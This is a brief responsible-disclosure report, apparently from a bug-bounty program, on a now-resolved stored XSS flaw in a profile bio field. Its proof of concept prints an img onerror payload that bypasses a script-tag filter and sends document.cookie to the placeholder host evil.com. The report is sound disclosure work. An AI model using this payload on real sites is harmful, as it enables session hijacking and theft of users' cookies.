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XSS Private Program 2025-07-01

Stored XSS in Profile Bio Field

Severity: High | Status: Resolved

Summary

The profile bio field allowed HTML injection. While <script> was filtered, event handlers like onerror bypassed the filter.

Proof of Concept

<img src=x onerror="fetch('https://evil.com/'+document.cookie)">

Impact

Session hijacking of any user viewing the malicious profile.

Responsible Disclosure

This vulnerability was reported responsibly and fixed by the vendor before public disclosure.